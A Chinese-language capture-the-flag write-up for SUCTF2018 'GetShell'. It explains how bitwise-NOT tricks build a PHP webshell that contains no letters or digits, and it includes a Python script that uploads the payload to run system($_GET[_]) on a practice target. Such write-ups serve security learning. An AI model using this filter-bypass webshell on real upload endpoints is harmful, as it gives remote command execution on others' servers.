0%

[SUCTF2018]GetShell

[SUCTF2018]GetShell

SUCTF的老题了,无字母数字加符号限制的命令执行

点upload之后会有一个act=upload,一开始以为有文件包含之类的,加目录伪协议试了半天,没太懂怎么回事,感觉是拼接了目录之后又限制了目录穿越,没有文件包含的机会了

题解

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

blacklist没给,自己fuzz一下,字母数字全禁,符号也就如下这几个能用.[]=~$()_;,测了一下ascii大于128的字符,都能用,而源码只有前五个字符不受限制,空格换行符也没有,上传上去的文件名不可控,但是会给一个php后缀,所以文件开头肯定是短标签<?=,这一点很好确定

给了取反符号,自然就是通过取反拼接字符串了,直接用echo urlencode(~'p')这样子获取取反后的ascii码,然后再取反回来就可以了(大概
实际使用的时候发现总会在前面出现一个等于号,如下

<?php
$a = ~Œ;    # 0x8c对应的字符
echo $a;    # =s

所以还得取这个字符串的第二位
变量名可以直接叫$_,这样子很方便,然后通过弱类型转换,令$_=[];$_=$_==$_,得到$_=true,再弱类型变成1,作为数组下标,就可以获得对应的字母了

可以通过动态调用的形式来执行命令,比如令$__=system,$___=$_GET[a],那么$__($___)就是system($_GET[a])
不过直接拼是不能拼出$_GET这种超全局变量的,需要先令$_=_GET;$__=$$_,这样子构造出来的$__就是超全局变量$_GET,再以数组形式访问$__[_],等价于$_GET[_]

一开始想拼一个$_=$_GET出来的,后来不知道为什么$符号怎么取反也取不到,最后发现根本不需要美元符号。。。

最后写了个垃圾脚本

import requests
import time

url = "http://1a329468-4bf5-439b-b029-2a7dbfc3d37a.node3.buuoj.cn/index.php?act=upload"

char_set = "\n ^,|./'[]=-~`!@#$%^&*()_+{}:;\"?><"

# 可用字符.[]=~$()_;
payload = "<?=$_=[];$_=$_==$_;$___" + "=~" + chr(0x8c) + "[$_].~" + chr(0x86) + "[$_].~" + chr(0x8c) + "[$_].~" + chr(0x8b) + "[$_].~" + chr(0x9a) + "[$_].~" + chr(0x92) \
        + "[$_];$__=~" + chr(0xa0) + "[$_].~" + chr(0xb8) + "[$_].~" + chr(0xba) + "[$_].~" + chr(0xab) + "[$_];$_=$$__;$___($_[_]);"
print(payload)
data = {"upload": "Submit"}
files = [('file', ('shell.php', payload, 'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

最后执行命令的时候发现根目录下面的flag是个假flag,真flag在环境变量里面,?_=env获取flag

拼超全局变量那个还是从P神博客里看的,看到这个题就想起p神提到过的这个无字母数字getshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html